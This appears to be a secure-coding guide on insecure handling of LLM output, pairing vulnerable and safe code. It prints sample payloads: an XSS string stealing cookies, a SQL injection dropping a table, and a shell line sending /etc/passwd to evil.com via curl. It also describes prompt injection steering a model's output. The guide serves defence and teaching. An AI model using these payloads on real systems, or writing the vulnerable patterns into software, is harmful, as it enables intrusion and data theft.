LLM02: Insecure Output Handling

Why LLM Output Is Untrusted

LLMs are stochastic text generators. They can produce any text — including JavaScript, SQL, shell commands, and HTML. When an application renders LLM output without escaping, it creates the same vulnerabilities as rendering unsanitized user input. This is especially dangerous because developers often assume LLM output is "safe" since it comes from their own API — but prompt injection can cause the LLM to generate malicious output.

Common Vulnerable Patterns

The most dangerous patterns include: (1) Rendering LLM output as innerHTML in web applications, enabling XSS. (2) Using LLM-generated SQL in database queries without parameterization. (3) Passing LLM output to eval() or exec() functions. (4) Using LLM output in shell commands via child_process or os.system(). (5) Including LLM output in HTTP redirects or fetch() URLs, enabling SSRF.

AI Code Assistant Risk

AI code assistants generate code that developers often run without review. If a prompt-injected model generates code containing eval(user_input), document.innerHTML = data, or os.system(f"find {path}"), these are insecure outputs that become production vulnerabilities. The assistant itself is the source of insecure output.

⚔️ Attack Examples & Code Patterns

// ❌ VULNERABLE — LLM output rendered as HTML
const response = await openai.chat.completions.create({
  messages: [{ role: "user", content: userQuery }]
});
document.getElementById("answer").innerHTML = response.choices[0].message.content;

// Attack: LLM output contains <img src=x onerror=alert(document.cookie)>

// ✅ SAFE — sanitize before rendering
import DOMPurify from 'dompurify';
document.getElementById("answer").innerHTML =
  DOMPurify.sanitize(response.choices[0].message.content);

# ❌ VULNERABLE — LLM output used as raw SQL
user_request = "Show me all users from New York"
sql = llm.generate(f"Convert to SQL: {user_request}")
# sql = "SELECT * FROM users WHERE city='New York'; DROP TABLE users;--"
cursor.execute(sql)

# ✅ SAFE — validate and use parameterized queries
import sqlparse
parsed = sqlparse.parse(sql)
if len(parsed) != 1 or parsed[0].get_type() != 'SELECT':
    raise ValueError("Only SELECT queries allowed")
cursor.execute(sql)  # Still better to use parameterized approach

# ❌ VULNERABLE — LLM output executed as shell command
import subprocess
action = agent.decide_action(user_request)
# action = "ls /tmp && curl http://evil.com/steal?data=$(cat /etc/passwd)"
subprocess.run(action, shell=True)

# ✅ SAFE — allowlist commands, no shell=True
ALLOWED_COMMANDS = {"ls", "cat", "grep"}
parts = shlex.split(action)
if parts[0] not in ALLOWED_COMMANDS:
    raise ValueError(f"Command {parts[0]} not allowed")
subprocess.run(parts, shell=False)

🔍 Detection Checklist

🛡️ Mitigation Strategy

Treat ALL LLM output as untrusted user input. Apply the same sanitization, encoding, and validation you would apply to any external input. Use parameterized queries for database operations, escape HTML output, and never execute LLM-generated strings as code without sandboxing.